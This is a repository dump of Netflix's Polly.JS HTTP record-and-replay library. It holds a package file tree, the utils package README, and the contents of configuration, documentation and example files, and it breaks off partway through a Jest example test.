"adapter-node-http", "children": [{"type": "file", "name": ".eslintrc.js"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "rollup.config.js"}, {"type": "file", "name": "rollup.config.shared.js"}, {"type": "file", "name": "rollup.config.test.js"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "index.js"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "get-url-from-options.js"}, {"type": "file", "name": "merge-chunks.js"}, {"type": "file", "name": "url-to-options.js"}]}]}, {"type": "directory", "name": "tests", "children": [{"type": "directory", "name": "integration", "children": [{"type": "file", "name": "adapter-node-fetch-test.js"}, {"type": "file", "name": "adapter-test.js"}, {"type": "file", "name": "persister-fs-test.js"}]}, {"type": "directory", "name": "jest", "children": [{"type": "directory", "name": "integration", "children": [{"type": "file", "name": "fetch-test.js"}, {"type": "file", "name": "xhr-test.js"}]}]}, {"type": "directory", "name": "unit", "children": [{"type": "directory", "name": "utils", "children": [{"type": "file", "name": "merge-chunks-test.js"}]}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "get-buffer-from-stream.js"}, {"type": "file", "name": "get-response-from-request.js"}, {"type": "file", "name": "native-request.js"}, {"type": "file", "name": "polly-config.js"}]}]}, {"type": "file", "name": "types.d.ts"}]}, {"type": "directory", "name": "adapter-puppeteer", "children": [{"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "rollup.config.js"}, {"type": "file", "name": "rollup.config.test.js"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "index.js"}]}, {"type": "directory", "name": "tests", "children": [{"type": "directory", "name": "helpers", "children": [{"type": "file", "name": "fetch.js"}]}, {"type": "directory", "name": "integration", "children": [{"type": "file", "name": "adapter-test.js"}]}, {"type": "directory", "name": "unit", "children": [{"type": "file", "name": "adapter-test.js"}]}]}, {"type": "file", "name": "types.d.ts"}]}, {"type": "directory", "name": "adapter-xhr", "children": [{"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "rollup.config.test.js"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "index.js"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "resolve-xhr.js"}, {"type": "file", "name": "serialize-response-headers.js"}]}]}, {"type": "directory", "name": "tests", "children": [{"type": "directory", "name": "integration", "children": [{"type": "file", "name": "adapter-test.js"}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "xhr-request.js"}]}]}, {"type": "file", "name": "types.d.ts"}]}, {"type": "directory", "name": "cli", "children": [{"type": "file", "name": ".eslintrc.js"}, {"type": "directory", "name": "bin", "children": [{"type": "file", "name": "cli.js"}]}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}]}, {"type": "directory", "name": "core", "children": [{"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "rollup.config.test.js"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "-private", "children": [{"type": "file", "name": "container.js"}, {"type": "file", "name": "event-emitter.js"}, {"type": "file", "name": "event.js"}, {"type": "file", "name": "http-base.js"}, {"type": "file", "name": "interceptor.js"}, {"type": "file", "name": "logger.js"}, {"type": "file", "name": "request.js"}, {"type": "file", "name": "response.js"}]}, {"type": "directory", "name": "defaults", "children": [{"type": "file", "name": "config.js"}]}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "polly.js"}, {"type": "directory", "name": "server", "children": [{"type": "file", "name": "handler.js"}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "middleware.js"}, {"type": "file", "name": "route.js"}]}, {"type": "directory", "name": "test-helpers", "children": [{"type": "file", "name": "lib.js"}, {"type": "file", "name": "mocha.js"}, {"type": "file", "name": "qunit.js"}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "cancel-fn-after-n-times.js"}, {"type": "file", "name": "deferred-promise.js"}, {"type": "file", "name": "guid-for-recording.js"}, {"type": "file", "name": "http-headers.js"}, {"type": "file", "name": "merge-configs.js"}, {"type": "file", "name": "normalize-request.js"}, {"type": "file", "name": "parse-url.js"}, {"type": "file", "name": "remove-host-from-url.js"}, {"type": "file", "name": "timing.js"}, {"type": "file", "name": "validators.js"}]}]}, {"type": "directory", "name": "tests", "children": [{"type": "directory", "name": "unit", "children": [{"type": "directory", "name": "-private", "children": [{"type": "file", "name": "container-test.js"}, {"type": "file", "name": "event-emitter-test.js"}, {"type": "file", "name": "event-test.js"}, {"type": "file", "name": "http-base-test.js"}, {"type": "file", "name": "interceptor-test.js"}, {"type": "file", "name": "response-test.js"}]}, {"type": "file", "name": "index-test.js"}, {"type": "file", "name": "polly-test.js"}, {"type": "directory", "name": "server", "children": [{"type": "file", "name": "handler-test.js"}, {"type": "file", "name": "server-test.js"}]}, {"type": "directory", "name": "test-helpers", "children": [{"type": "file", "name": "mocha-test.js"}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "deferred-promise-test.js"}, {"type": "file", "name": "guid-for-recording-test.js"}, {"type": "file", "name": "http-headers-test.js"}, {"type": "file", "name": "merge-configs-test.js"}, {"type": "file", "name": "normalize-request-test.js"}, {"type": "file", "name": "parse-url-test.js"}, {"type": "file", "name": "remove-host-from-url-test.js"}, {"type": "file", "name": "timing-test.js"}]}]}]}, {"type": "file", "name": "types.d.ts"}]}, {"type": "directory", "name": "ember", "children": [{"type": "file", "name": ".editorconfig"}, {"type": "file", "name": ".ember-cli"}, {"type": "file", "name": ".eslintignore"}, {"type": "file", "name": ".eslintrc.js"}, {"type": "file", "name": ".npmignore"}, {"type": "file", "name": ".prettierignore"}, {"type": "file", "name": ".prettierrc.js"}, {"type": "file", "name": ".template-lintrc.js"}, {"type": "file", "name": ".watchmanconfig"}, {"type": "directory", "name": "addon", "children": [{"type": "directory", "name": "-private", "children": [{"type": "file", "name": "preconfigure.js"}]}]}, {"type": "directory", "name": "blueprints", "children": [{"type": "directory", "name": "@pollyjs", "children": [{"type": "directory", "name": "ember", "children": [{"type": "directory", "name": "files", "children": [{"type": "directory", "name": "config", "children": [{"type": "file", "name": "polly.js"}]}]}, {"type": "file", "name": "index.js"}]}]}]}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "directory", "name": "config", "children": [{"type": "file", "name": "ember-try.js"}, {"type": "file", "name": "environment.js"}, {"type": "file", "name": "polly.js"}]}, {"type": "file", "name": "ember-cli-build.js"}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "testem.js"}, {"type": "directory", "name": "tests", "children": [{"type": "directory", "name": "dummy", "children": [{"type": "directory", "name": "app", "children": [{"type": "file", "name": "app.js"}, {"type": "directory", "name": "components", "children": []}, {"type": "directory", "name": "controllers", "children": []}, {"type": "directory", "name": "helpers", "children": []}, {"type": "file", "name": "index.html"}, {"type": "directory", "name": "models", "children": []}, {"type": "file", "name": "router.js"}, {"type": "directory", "name": "routes", "children": []}, {"type": "directory", "name": "styles", "children": [{"type": "file", "name": "app.css"}]}, {"type": "directory", "name": "templates", "children": [{"type": "file", "name": "application.hbs"}]}]}, {"type": "directory", "name": "config", "children": [{"type": "file", "name": "ember-cli-update.json"}, {"type": "file", "name": "environment.js"}, {"type": "file", "name": "optional-features.json"}, {"type": "file", "name": "targets.js"}]}, {"type": "directory", "name": "public", "children": [{"type": "file", "name": "robots.txt"}]}]}, {"type": "directory", "name": "helpers", "children": []}, {"type": "file", "name": "index.html"}, {"type": "directory", "name": "integration", "children": []}, {"type": "file", "name": "test-helper.js"}, {"type": "directory", "name": "unit", "children": [{"type": "file", "name": "polly-test.js"}]}]}, {"type": "directory", "name": "vendor", "children": []}]}, {"type": "directory", "name": "node-server", "children": [{"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "rollup.config.js"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "api.js"}, {"type": "file", "name": "config.js"}, {"type": "directory", "name": "express", "children": [{"type": "file", "name": "register-api.js"}]}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "server.js"}]}, {"type": "file", "name": "types.d.ts"}]}, {"type": "directory", "name": "persister", "children": [{"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "rollup.config.test.js"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "har", "children": [{"type": "file", "name": "entry.js"}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "log.js"}, {"type": "file", "name": "request.js"}, {"type": "file", "name": "response.js"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "get-first-header.js"}, {"type": "file", "name": "to-nv-pairs.js"}]}]}, {"type": "file", "name": "index.js"}]}, {"type": "directory", "name": "tests", "children": [{"type": "directory", "name": "unit", "children": [{"type": "file", "name": "har-test.js"}, {"type": "file", "name": "persister-test.js"}]}]}, {"type": "file", "name": "types.d.ts"}]}, {"type": "directory", "name": "persister-fs", "children": [{"type": "file", "name": ".eslintrc.js"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "rollup.config.js"}, {"type": "file", "name": "rollup.config.test.js"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "index.js"}]}, {"type": "directory", "name": "tests", "children": [{"type": "directory", "name": "unit", "children": [{"type": "file", "name": "persister-test.js"}]}]}, {"type": "file", "name": "types.d.ts"}]}, {"type": "directory", "name": "persister-in-memory", "children": [{"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "rollup.config.test.js"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "index.js"}]}, {"type": "file", "name": "types.d.ts"}]}, {"type": "directory", "name": "persister-local-storage", "children": [{"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "rollup.config.test.js"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "index.js"}]}, {"type": "file", "name": "types.d.ts"}]}, {"type": "directory", "name": "persister-rest", "children": [{"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "rollup.config.test.js"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "ajax.js"}, {"type": "file", "name": "index.js"}]}, {"type": "file", "name": "types.d.ts"}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "rollup.config.test.js"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "constants", "children": [{"type": "file", "name": "actions.js"}, {"type": "file", "name": "expiry-strategies.js"}, {"type": "file", "name": "http-methods.js"}, {"type": "file", "name": "http-status-codes.js"}, {"type": "file", "name": "modes.js"}]}, {"type": "file", "name": "index.js"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "assert.js"}, {"type": "file", "name": "build-url.js"}, {"type": "file", "name": "clone-arraybuffer.js"}, {"type": "file", "name": "is-buffer-utf8-representable.js"}, {"type": "file", "name": "polly-error.js"}, {"type": "directory", "name": "serializers", "children": [{"type": "file", "name": "blob.js"}, {"type": "file", "name": "buffer.js"}, {"type": "file", "name": "form-data.js"}, {"type": "file", "name": "index.js"}]}, {"type": "file", "name": "timeout.js"}, {"type": "file", "name": "timestamp.js"}, {"type": "file", "name": "url.js"}]}]}, {"type": "directory", "name": "tests", "children": [{"type": "directory", "name": "browser", "children": [{"type": "directory", "name": "unit", "children": [{"type": "directory", "name": "utils", "children": [{"type": "directory", "name": "serializers", "children": [{"type": "file", "name": "blob.js"}, {"type": "file", "name": "form-data.js"}]}]}]}]}, {"type": "directory", "name": "node", "children": [{"type": "directory", "name": "unit", "children": [{"type": "directory", "name": "utils", "children": [{"type": "directory", "name": "serializers", "children": [{"type": "file", "name": "buffer.js"}]}]}]}]}, {"type": "file", "name": "serializer-tests.js"}, {"type": "directory", "name": "unit", "children": [{"type": "directory", "name": "utils", "children": [{"type": "file", "name": "assert-test.js"}, {"type": "file", "name": "build-url-test.js"}, {"type": "file", "name": "polly-error-test.js"}, {"type": "file", "name": "timeout-test.js"}, {"type": "file", "name": "timestamp-test.js"}, {"type": "file", "name": "url-test.js"}]}]}]}, {"type": "file", "name": "types.d.ts"}]}]}]}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "scripts", "children": [{"type": "file", "name": "require-clean-work-tree.sh"}, {"type": "file", "name": "require-test-build.sh"}, {"type": "directory", "name": "rollup", "children": [{"type": "file", "name": "browser.config.js"}, {"type": "file", "name": "browser.test.config.js"}, {"type": "file", "name": "default.config.js"}, {"type": "file", "name": "jest.test.config.js"}, {"type": "file", "name": "node.config.js"}, {"type": "file", "name": "node.test.config.js"}, {"type": "file", "name": "utils.js"}]}]}, {"type": "file", "name": "testem.js"}, {"type": "directory", "name": "tests", "children": [{"type": "directory", "name": "assets", "children": []}, {"type": "directory", "name": "helpers", "children": [{"type": "file", "name": "file.js"}, {"type": "file", "name": "global-node-fetch.js"}, {"type": "file", "name": "setup-fetch-record.js"}, {"type": "file", "name": "setup-persister.js"}]}, {"type": "file", "name": "index.mustache"}, {"type": "directory", "name": "integration", "children": [{"type": "file", "name": "adapter-browser-tests.js"}, {"type": "file", "name": "adapter-identifier-tests.js"}, {"type": "file", "name": "adapter-node-tests.js"}, {"type": "file", "name": "adapter-polly-tests.js"}, {"type": "file", "name": "adapter-tests.js"}, {"type": "file", "name": "persister-tests.js"}]}, {"type": "file", "name": "middleware.js"}, {"type": "file", "name": "node-setup.js"}]}, {"type": "file", "name": "yarn.lock"}]} | <p align="center">
<img alt="Polly.JS" width="400px" src="https://netflix.github.io/pollyjs/assets/images/wordmark-logo-alt.png" />
</p>
<h2 align="center">Record, Replay, and Stub HTTP Interactions</h2>
[![Build Status](https://travis-ci.com/Netflix/pollyjs.svg?branch=master)](https://travis-ci.com/Netflix/pollyjs)
[![npm version](https://badge.fury.io/js/%40pollyjs%2Futils.svg)](https://badge.fury.io/js/%40pollyjs%2Futils)
[![license](https://img.shields.io/github/license/Netflix/pollyjs.svg)](http://www.apache.org/licenses/LICENSE-2.0)
The `@pollyjs/utils` package provides utilities and constants for other @pollyjs packages.
## Installation
_Note that you must have node (and npm) installed._
```bash
npm install @pollyjs/utils -D
```
If you want to install it with [yarn](https://yarnpkg.com):
```bash
yarn add @pollyjs/utils -D
```
## License
Copyright (c) 2018 Netflix, Inc.
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
[http://www.apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0)
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
| {"package.json": "{\n \"private\": true,\n \"license\": \"Apache-2.0\",\n \"repository\": \"https://github.com/netflix/pollyjs\",\n \"contributors\": [\n {\n \"name\": \"Jason Mitchell\",\n \"email\": \"[email protected]\"\n },\n {\n \"name\": \"Offir Golan\",\n \"email\": \"[email protected]\"\n }\n ],\n \"workspaces\": [\n \"packages/@pollyjs/*\"\n ],\n \"lint-staged\": {\n \"*.js\": [\n \"eslint --fix\",\n \"git add\"\n ],\n \"*.{json,md,html,yml,css}\": [\n \"prettier --ignore-path .eslintignore --write\",\n \"git add\"\n ]\n },\n \"scripts\": {\n \"build:prod\": \"NODE_ENV=production yarn build && NODE_ENV=production MINIFY=true yarn build\",\n \"build:server\": \"lerna run build --scope=@pollyjs/node-server --scope=@pollyjs/utils\",\n \"build\": \"lerna run build --ignore=@pollyjs/ember --parallel\",\n \"clean\": \"rimraf packages/@pollyjs/*/dist && rimraf packages/@pollyjs/*/build\",\n \"contributors\": \"npx contributor-faces -e '*\\\\[bot\\\\]'\",\n \"docs:publish\": \"gh-pages --dist docs --dotfiles --message 'chore: Publish docs'\",\n \"docs:serve\": \"docsify serve ./docs\",\n \"lint:fix\": \"yarn run lint --fix\",\n \"lint\": \"eslint .\",\n \"postlint:fix\": \"prettier --ignore-path .eslintignore --write \\\"**/*.{json,md,html,yml,css}\\\"\",\n \"postrelease:publish\": \"yarn docs:publish\",\n \"prepare\": \"husky install\",\n \"prerelease:publish\": \"npm-run-all clean build:prod\",\n \"pretest:ci\": \"yarn clean && yarn build && yarn test:build\",\n \"pretest\": \"./scripts/require-test-build.sh\",\n \"release:publish\": \"lerna publish from-git\",\n \"release:version\": \"lerna version\",\n \"release\": \"npm-run-all \\\"release:version {@}\\\" release:publish --\",\n \"test:build\": \"lerna run test:build --parallel\",\n \"test:ci\": \"testem ci\",\n \"test\": \"testem\",\n \"watch\": \"lerna run watch-all --parallel\"\n },\n \"devDependencies\": {\n \"@babel/core\": \"^7.16.0\",\n \"@babel/plugin-external-helpers\": \"^7.16.0\",\n \"@babel/plugin-proposal-object-rest-spread\": \"^7.16.0\",\n \"@babel/plugin-transform-runtime\": \"^7.16.4\",\n \"@babel/preset-env\": \"^7.16.4\",\n \"@babel/runtime\": \"^7.16.3\",\n \"@babel/runtime-corejs2\": \"^7.16.3\",\n \"@commitlint/cli\": \"^15.0.0\",\n \"@commitlint/config-conventional\": \"^15.0.0\",\n \"@commitlint/config-lerna-scopes\": \"^15.0.0\",\n \"@commitlint/travis-cli\": \"^15.0.0\",\n \"chai\": \"^4.3.4\",\n \"compression\": \"^1.7.4\",\n \"contributor-faces\": \"^1.1.0\",\n \"deepmerge\": \"^4.2.0\",\n \"docsify-cli\": \"^4.4.3\",\n \"eslint\": \"^8.3.0\",\n \"eslint-config-prettier\": \"^8.3.0\",\n \"eslint-plugin-import\": \"^2.25.3\",\n \"eslint-plugin-node\": \"^11.1.0\",\n \"eslint-plugin-prettier\": \"^4.0.0\",\n \"eslint-plugin-react\": \"^7.27.1\",\n \"formdata-polyfill\": \"^4.0.10\",\n \"gh-pages\": \"^3.2.3\",\n \"har-validator\": \"^5.1.3\",\n \"husky\": \"^7.0.4\",\n \"jest\": \"^27.3.1\",\n \"jest-tap-reporter\": \"^1.9.0\",\n \"lerna\": \"^4.0.0\",\n \"lerna-alias\": \"^3.0.2\",\n \"lint-staged\": \"^12.1.2\",\n \"mocha\": \"^9.1.3\",\n \"npm-run-all\": \"^4.1.5\",\n \"prettier\": \"^2.5.0\",\n \"rimraf\": \"^3.0.2\",\n \"rollup\": \"^1.14.6\",\n \"rollup-plugin-alias\": \"^1.5.2\",\n \"rollup-plugin-babel\": \"^4.4.0\",\n \"rollup-plugin-commonjs\": \"^10.1.0\",\n \"rollup-plugin-json\": \"^4.0.0\",\n \"rollup-plugin-multi-entry\": \"^2.1.0\",\n \"rollup-plugin-node-builtins\": \"^2.1.2\",\n \"rollup-plugin-node-globals\": \"^1.4.0\",\n \"rollup-plugin-node-resolve\": \"^5.2.0\",\n \"rollup-plugin-terser\": \"5.0.0\",\n \"testem\": \"^3.6.0\"\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "docs\\index.html": "<!DOCTYPE html>\n<html lang=\"en\">\n <head>\n <meta charset=\"UTF-8\" />\n <title>Polly.JS</title>\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n <meta\n name=\"description\"\n content=\"Standalone, framework-agnostic JavaScript library that enables recording, replaying, and stubbing HTTP interactions.\"\n />\n <meta\n name=\"viewport\"\n content=\"width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0\"\n />\n <meta name=\"twitter:title\" content=\"Polly.JS\" />\n <meta\n name=\"twitter:description\"\n content=\"Standalone, framework-agnostic JavaScript library that enables recording, replaying, and stubbing HTTP interactions.\"\n />\n <meta\n name=\"twitter:image\"\n content=\"https://netflix.github.io/pollyjs/assets/images/wordmark-logo-alt-twitter.png\"\n />\n <meta name=\"twitter:card\" content=\"summary_large_image\" />\n <link\n rel=\"shortcut icon\"\n href=\"assets/images/favicon.ico\"\n type=\"image/x-icon\"\n />\n <link rel=\"icon\" href=\"assets/images/favicon.ico\" type=\"image/x-icon\" />\n <link rel=\"stylesheet\" href=\"//unpkg.com/docsify/lib/themes/vue.css\" />\n <link rel=\"stylesheet\" href=\"assets/styles.css\" />\n </head>\n\n <body>\n <div id=\"app\"></div>\n\n <script>\n window.$docsify = {\n name: 'Polly.JS',\n logo: 'assets/images/logo.png',\n loadSidebar: true,\n coverpage: true,\n onlyCover: true,\n auto2top: true,\n autoHeader: false,\n subMaxLevel: 3,\n maxLevel: 4,\n repo: 'https://github.com/Netflix/pollyjs',\n alias: {\n '/.*/_sidebar.md': '/_sidebar.md',\n '.*?/CHANGELOG':\n 'https://raw.githubusercontent.com/Netflix/pollyjs/master/CHANGELOG',\n '.*?/CONTRIBUTING':\n 'https://raw.githubusercontent.com/Netflix/pollyjs/master/CONTRIBUTING'\n },\n homepage:\n 'https://raw.githubusercontent.com/Netflix/pollyjs/master/README.md',\n search: {\n paths: 'auto',\n placeholder: 'Search',\n noData: 'No Results.'\n },\n ga: 'UA-120716183-1'\n };\n </script>\n <script src=\"//unpkg.com/docsify/lib/docsify.min.js\"></script>\n <script src=\"//unpkg.com/prismjs/components/prism-bash.min.js\"></script>\n <script src=\"//unpkg.com/prismjs/components/prism-json.min.js\"></script>\n <script src=\"//unpkg.com/docsify/lib/plugins/search.min.js\"></script>\n <script src=\"//unpkg.com/docsify/lib/plugins/external-script.min.js\"></script>\n <script src=\"//unpkg.com/docsify-copy-code@2\"></script>\n <script src=\"//unpkg.com/docsify-pagination/dist/docsify-pagination.min.js\"></script>\n <script src=\"//unpkg.com/docsify/lib/plugins/ga.min.js\"></script>\n </body>\n</html>\n", "examples\\client-server\\index.html": "<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"utf-8\" />\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n <title>Client Server Tests</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n <link\n rel=\"stylesheet\"\n type=\"text/css\"\n href=\"./node_modules/mocha/mocha.css\"\n />\n </head>\n <body>\n <div id=\"mocha\"></div>\n\n <script src=\"./node_modules/mocha/mocha.js\"></script>\n <script src=\"./node_modules/chai/chai.js\"></script>\n <script src=\"./node_modules/@pollyjs/core/dist/umd/pollyjs-core.js\"></script>\n <script src=\"./node_modules/@pollyjs/adapter-fetch/dist/umd/pollyjs-adapter-fetch.js\"></script>\n <script src=\"./node_modules/@pollyjs/persister-local-storage/dist/umd/pollyjs-persister-local-storage.js\"></script>\n\n <script src=\"./tests/setup.js\"></script>\n <script src=\"./tests/intercept.test.js\"></script>\n <script src=\"./tests/events.test.js\"></script>\n\n <script>\n mocha.checkLeaks();\n mocha.run();\n </script>\n </body>\n</html>\n", "examples\\client-server\\package.json": "{\n \"name\": \"@pollyjs/client-server-example\",\n \"version\": \"0.1.0\",\n \"private\": true,\n \"license\": \"Apache-2.0\",\n \"scripts\": {\n \"test\": \"http-server -p 3000 -o -c-1 -s\"\n },\n \"devDependencies\": {\n \"@pollyjs/adapter-fetch\": \"*\",\n \"@pollyjs/core\": \"*\",\n \"@pollyjs/persister-local-storage\": \"*\",\n \"chai\": \"*\",\n \"http-server\": \"*\",\n \"mocha\": \"*\"\n }\n}\n", "examples\\dummy-app\\package.json": "{\n \"name\": \"@pollyjs/dummy-app\",\n \"version\": \"0.1.0\",\n \"private\": true,\n \"license\": \"Apache-2.0\",\n \"dependencies\": {\n \"prop-types\": \"^15.6.2\",\n \"ra-data-json-server\": \"^2.3.1\",\n \"react\": \"^16.5.1\",\n \"react-admin\": \"^2.3.1\",\n \"react-dom\": \"^16.5.1\",\n \"react-scripts\": \"^1.1.5\"\n },\n \"scripts\": {\n \"start\": \"react-scripts start\",\n \"start:ci\": \"BROWSER=none CI=true yarn start\",\n \"build\": \"react-scripts build\",\n \"test\": \"react-scripts test --env=jsdom\",\n \"eject\": \"react-scripts eject\"\n }\n}\n", "examples\\dummy-app\\public\\index.html": "<!DOCTYPE html>\n<html lang=\"en\">\n <head>\n <meta charset=\"utf-8\" />\n <meta\n name=\"viewport\"\n content=\"width=device-width, initial-scale=1, shrink-to-fit=no\"\n />\n <meta name=\"theme-color\" content=\"#000000\" />\n <!--\n manifest.json provides metadata used when your web app is added to the\n homescreen on Android. See https://developers.google.com/web/fundamentals/engage-and-retain/web-app-manifest/\n -->\n <link rel=\"manifest\" href=\"%PUBLIC_URL%/manifest.json\" />\n <link rel=\"shortcut icon\" href=\"%PUBLIC_URL%/favicon.ico\" />\n <!--\n Notice the use of %PUBLIC_URL% in the tags above.\n It will be replaced with the URL of the `public` folder during the build.\n Only files inside the `public` folder can be referenced from the HTML.\n\n Unlike \"/favicon.ico\" or \"favicon.ico\", \"%PUBLIC_URL%/favicon.ico\" will\n work correctly both with client-side routing and a non-root public URL.\n Learn how to configure a non-root public URL by running `npm run build`.\n -->\n <title>Dummy App</title>\n </head>\n <body>\n <noscript> You need to enable JavaScript to run this app. </noscript>\n <div id=\"root\"></div>\n <!--\n This HTML file is a template.\n If you open it directly in the browser, you will see an empty page.\n\n You can add webfonts, meta tags, or analytics to this file.\n The build step will place the bundled scripts into the <body> tag.\n\n To begin the development, run `npm start` or `yarn start`.\n To create a production bundle, use `npm run build` or `yarn build`.\n -->\n </body>\n</html>\n", "examples\\dummy-app\\src\\App.js": "import React from 'react';\nimport { Admin, Resource } from 'react-admin';\nimport jsonServerProvider from 'ra-data-json-server';\nimport PostIcon from '@material-ui/icons/Book';\nimport TodoIcon from '@material-ui/icons/ViewList';\nimport UserIcon from '@material-ui/icons/Group';\nimport { createMuiTheme } from '@material-ui/core/styles';\n\nimport { UserList, UserShow } from './users';\nimport { TodoList, TodoShow, TodoEdit, TodoCreate } from './todos';\nimport { PostList, PostShow, PostEdit, PostCreate } from './posts';\n\nconst dataProvider = jsonServerProvider('https://jsonplaceholder.typicode.com');\nconst theme = createMuiTheme({\n palette: {\n primary: {\n light: '#ff5740',\n main: '#e50914',\n dark: '#aa0000',\n contrastText: '#fff'\n },\n secondary: {\n light: '#ff5740',\n main: '#e50914',\n dark: '#aa0000',\n contrastText: '#fff'\n }\n }\n});\n\nconst App = () => (\n <Admin theme={theme} dataProvider={dataProvider}>\n <Resource\n name=\"posts\"\n list={PostList}\n show={PostShow}\n edit={PostEdit}\n create={PostCreate}\n icon={PostIcon}\n />\n <Resource\n name=\"todos\"\n list={TodoList}\n show={TodoShow}\n edit={TodoEdit}\n create={TodoCreate}\n icon={TodoIcon}\n />\n <Resource name=\"users\" list={UserList} show={UserShow} icon={UserIcon} />\n </Admin>\n);\n\nexport default App;\n", "examples\\dummy-app\\src\\index.css": "body {\n margin: 0;\n padding: 0;\n}\n", "examples\\dummy-app\\src\\index.js": "import React from 'react';\nimport ReactDOM from 'react-dom';\n\nimport './index.css';\nimport App from './App';\n\nReactDOM.render(<App />, document.getElementById('root'));\n", "examples\\jest-node-fetch\\package.json": "{\n \"name\": \"@pollyjs/jest-node-fetch-example\",\n \"version\": \"0.1.0\",\n \"private\": true,\n \"license\": \"Apache-2.0\",\n \"scripts\": {\n \"test\": \"jest\"\n },\n \"devDependencies\": {\n \"@pollyjs/adapter-node-http\": \"*\",\n \"@pollyjs/core\": \"*\",\n \"@pollyjs/persister-fs\": \"*\",\n \"jest\": \"*\",\n \"node-fetch\": \"*\",\n \"setup-polly-jest\": \"*\"\n }\n}\n", "examples\\jest-node-fetch\\src\\index.js": "module.exports = {\n posts: require('./posts'),\n users: require('./users')\n};\n", "examples\\jest-node-fetch\\__tests__\\index.test.js": "const path = require('path');\n\nconst { Polly } = require('@pollyjs/core');\nconst { setupPolly } = require('setup-polly-jest');\nconst NodeHttpAdapter = require('@pollyjs/adapter-node-http');\nconst FSPersister = require('@pollyjs/persister-fs');\n\nPolly.register(NodeHttpAdapter);\nPolly.register(FSPersister);\n\nconst { posts, users } = require('../src');\n\ndescribe('jest-node-fetch', 